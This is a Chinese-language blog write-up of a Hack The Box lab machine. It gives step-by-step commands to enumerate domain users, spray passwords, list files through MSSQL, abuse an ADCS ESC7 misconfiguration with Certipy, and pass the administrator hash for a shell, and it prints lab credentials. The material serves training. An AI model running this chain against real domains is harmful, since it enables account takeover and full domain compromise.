点击上方[蓝字],关注我们
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者及本公众号团队不为此承担任何责任。
Keywords: rid bruteforce, mssql directory traversal with xp_dirtree
, manageCA, pass the certificate, pass the ticket,ADCS-ESC7
端口扫描
nmap -sV -sC -A -Pn 10.10.11.236
从扫描结果可以看出这是一台域控(dc01.manager.htb),Windows server2019,并且运行着sql server
绑定一下hosts
域控机器的话,这里就不太去考虑web端的渗透了
因为开着445端口,可以先枚举一下域用户,方法很多,例如kerbrute
通过kerberos认证返回值不同来枚举,也可以通过crackmapexec爆破rid
crackmapexec smb 10.10.11.236 -u guest -p '' --rid-brute
Administrator
Guest
krbtgt
DC01$
Zhong
Cheng
Ryan
Raven
JinWoo
ChinHae
Operator
有了用户名,然后可以通过密码喷洒,看看能不能得到个账密。很多工具可以实现,这里还是直接用cme了
crackmapexec smb 10.10.11.236 -u user.txt -p pass.txt --no-brute
有了一对账密了(operator/operator),但是我们只有一台域控机器,用这个 用户是执行不了命令的。
不过,这台机器上还运行着mssql,mssql也支持Windows凭据登录,我们试试能不能用这个账密去登录
使用impacket里面的mssqlclient.py去连接:
但是权限不够,执行不了命令:
翻数据库也没啥东西。使用xp_dirtree
列了下目录
web目录下有一个备份文件,下过来看看
在这个隐藏文件里看到了一个用户的账密[email protected]/R4v3nBe5tD3veloP3r!123
然后尝试执行命令,smb方式被拒绝了,winrm可以执行
使用evil-winrm[1]搞一个shell回来
拿到user flag
whoami /all
发现raven在“Certificate Service DCOM Access”组中,并且这台机器是ca机器
用https://github.com/ly4k/Certipy检测一下有没有洞:
ESC7是指用户拥有 CA 的“管理 CA”或“管理证书”访问权限,此访问权限可用于启用 EDITF_ATTRIBUTESUBJECTALTNAME2 标志来执行 ESC6 攻击,具体怎么利用可以参考
https://github.com/ly4k/Certipy#esc7
https://book.hacktricks.xyz/v/cn/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation
下面逐步利用:
1、创建一个officer ,这样才有权限请求、发布和执行证书相关任务
certipy ca -ca 'manager-DC01-CA' -add-officer raven -username [email protected] -password 'R4v3nBe5tD3veloP3r!123'
2、启用证书模板并请求证书:接下来,启用一个特定的证书模板,并请求了一个具有提升权限的证书。通过这样做,我基本上获得了一个授予我额外访问权限的证书,这是特权升级过程中的一个关键步骤。
启用:
certipy ca -ca 'manager-DC01-CA' -enable-template SubCA -username [email protected] -password 'R4v3nBe5tD3veloP3r!123'
请求证书:此请求将被拒绝,但我们将保存私钥并记录请求ID。
certipy req -username [email protected] -password 'R4v3nBe5tD3veloP3r!123' -ca 'manager-DC01-CA' -target manager.htb -template SubCA -upn [email protected]
3、签发所请求的证书:一旦证书请求被提交,我需要它被批准和签发。
certipy ca -ca 'manager-DC01-CA' -issue-request 25 -username [email protected] -password 'R4v3nBe5tD3veloP3r!123'
服务器会在一分钟内自动重置它的设置,所以让所有命令准备好快速执行是很重要的。
如果到这一步出错了,那就是超时了,需要重新执行一下 1、添加officer的命令
4、检索颁发的证书:证书颁发后,我检索它。这允许“raven”在本地拥有证书并使用它进行身份验证。
certipy req -username [email protected] -password 'R4v3nBe5tD3veloP3r!123' -ca 'manager-DC01-CA' -target manager.htb -retrieve 25
5、用获得的证书进行认证得到域管票据和hash
通过证书传递攻击(PTC) 使用我们刚刚创建的管理员证书,生成一个kerberos tgt票据 和 管理员hash。
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'manager.htb' -dc-ip 10.10.11.236
如果报错1:
certipy-ad auth -pfx administrator.pfx -username administrator -domain manager.htb -dc-ip 10.10.11.236
Certipy v4.0.0 - by Oliver Lyak (ly4k)[*] Using principal: [email protected]
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KRB_AP_ERR_BAD_INTEGRITY(Integrity check on decrypted field failed)需要激活一个Python虚拟环境:
python3 -m venv /home/kali/name
source /home/kali/name/bin/activate如果报错2:
certipy auth -pfx administrator.pfx -dc-ip 10.10.11.236
Certipy v4.8.2 - by Oliver Lyak (ly4k)[*] Using principal: [email protected]
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[-] Got error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
[-] Use -debug to print a stacktrace为了使其工作,需要与dc时钟同步,以避免时钟偏差太大。这可以用ntpdate完成
sudo ntpdate -u 10.10.11.236
此时,我们可以拥有一个完整的交互式系统shell,或者传递管理员散列,或者传递tgt票证。要传递散列,可以使用psexec或类似的工具。
这里可以直接用evil-winrm
evil-winrm -i 10.10.11.236 -u administrator -H ae5064c2f62317332c88629e025924ef
或者利用票据
[1]
evil-winrm: https://github.com/Hackplayers/evil-winrm
致力于红蓝对抗,实战攻防,星球不定时更新内外网攻防渗透技巧,以及最新学习研究成果等。常态化更新最新安全动态。专题更新奇技淫巧小Tips及实战案例。
涉及方向包括Web渗透、免杀绕过、内网攻防、代码审计、应急响应、云安全。星球中已发布 480+ 安全资源,针对网络安全成员的普遍水平,并为星友提供了教程、工具、POC&EXP以及各种学习笔记等等。(点我了解详情)
关注公众号回复“加群”,添加Z2OBot好友,自动拉你加入Z2O安全攻防交流群(微信群)分享更多好东西。(QQ群可直接扫码添加)
关注福利:
回复“app" 获取 app渗透和app抓包教程
回复“渗透字典" 获取 针对一些字典重新划分处理,收集了几个密码管理字典生成器用来扩展更多字典的仓库。
回复“书籍" 获取 网络安全相关经典书籍电子版pdf
回复“资料" 获取 网络安全、渗透测试相关资料文档
点个【 在看 】,你最好看